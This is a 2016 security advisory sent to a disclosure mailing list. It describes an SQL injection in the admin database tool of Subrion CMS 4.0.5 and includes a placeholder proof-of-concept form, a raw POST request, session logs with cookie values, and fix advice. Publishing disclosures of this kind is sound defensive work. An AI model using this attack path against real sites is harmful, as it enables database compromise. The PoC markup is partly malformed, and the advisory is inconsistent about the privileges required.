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Date: Fri, 5 Aug 2016 09:29:43 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: Subrion v4.0.5 CMS - SQL Injection Vulnerability

Document Title:
===============
Subrion v4.0.5 CMS - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1893


Release Date:
=============
2016-08-04


Vulnerability Laboratory ID (VL-ID):
====================================
1893


Common Vulnerability Scoring System:
====================================
7


Product & Service Introduction:
===============================
Subrion is a full featured open source CMS written in PHP 5 & MySQL with many options. Here is the list of the most important features.
You don't need to pay a single penny to start using Subrion CMS. It's not encrypted in any way so you can customize it per your needs.
It's done to focus on the content management process. Start it hassle-free within just a few minutes and take care of the content.

(Copy of the Vendor Homepage: http://www.subrion.org/download/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the Subrion v4.0.5 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-08-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Intelliants LLC
Product: Subrion - Content Management System (Web-Application) 4.0.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered in the Subrion v4.0.5 content management system.
The vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms.

The sql-injection vulnerability is located in the `query` and ` show_query` parameters of the `.database/sql/` module POST 
method request. Remote attackers are able to execute own sql commands by usage of the insecure sql management tool request. 
The attack vector of the vulnerability is application-side and the request method to inject is POST.

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.0.
Exploitation of the remote sql injection web vulnerability requires no user interaction and a low privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] ./database/sql/

Vulnerable Parameter(s):
				[+] show_query
				[+] query


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with privileged web-application user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Exploitation
<html>
<head><body>
<title>Subrion CMS - Remote SQL Injection PoC</title>
<form action="http://subrion.localhost:8080/admin/database/sql/" method="post">
  <input query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
  <input show_query="-1'[SQL-INJECTION VULNERABILITY!]--" value="-1'[SQL-INJECTION VULNERABILITY!]--">
  <input exec_query="Go" value"Go"
  <button>Send POST Method Request</button>
</body></head>
</form>
</html>


POST /admin/database/sql/ HTTP/1.1
Host: http://subrion.localhost:8080
query=[SQL-INJECTION VULNERABILITY!]&show_query=[SQL-INJECTION VULNERABILITY!]&exec_query=Go


--- SQL Error Exception Logs ---
You have an error in your SQL syntax;
Check the manual that corresponds to your MySQL server version for the right syntax to use near 'command `extras`' at line 1}


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST /database/sql/ 
Mime Type[text/html]
   Request Header:
      Host[subrion.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Referer[/admin/database/sql/]
      Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; loader=loaded; INTELLI_a1ef1b4b28=63c87c36882a10136a627aea5a94a581; _ga=GA1.2.1118331789.1469788535; _gat=1]
      Connection[keep-alive]
   POST-Daten:
      __st[6a4bf637dc90a9d8dd203fff134f8140]
      query[-1'SQL-INJECTION VULNERABILITY!]
      show_query[-1'SQL-INJECTION VULNERABILITY!]
      exec_query[Go]
   Response Header:
      Date[Fri, 29 Jul 2016 10:38:22 GMT]
      Server[Apache]
      X-Powered-By[PHP/5.5.30]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Set-Cookie[INTELLI_6321e8217b=f98078af3840ae5ba4a4800445924360; expires=Fri, 29-Jul-2016 11:08:22 GMT; Max-Age=1800]
      Vary[Accept-Encoding]
      Content-Length[5329]
      Content-Type[text/html]


Note: 	Use the permanent cookie to trigger the bug remotly on default setup without admin access credentials.
Cookie:	[f98078af3840ae5ba4a4800445924360] & [63c87c36882a10136a627aea5a94a581]


Reference(s):
http://subrion.localhost:8080/
http://subrion.localhost:8080/admin/
http://subrion.localhost:8080/admin/database/
http://subrion.localhost:8080/admin/database/sql/


Solution - Fix & Patch:
=======================
The sql-injection vulnerability can be patched by usage of a prepared statement in the sql database tool POST method request.
Parse and filter the parameter input of the query and show_query values. Disallow the usage of special chars to prevent further attacks.
Escape the entries to ensure the context is secure transmitted via POST method request.


Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the `query` and `show_query` parameters of the`/database/sql/`module is estimated high. (CVSS 7.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@...lution-sec.com) [www.vulnerability-lab.com] [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


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=========================
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limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

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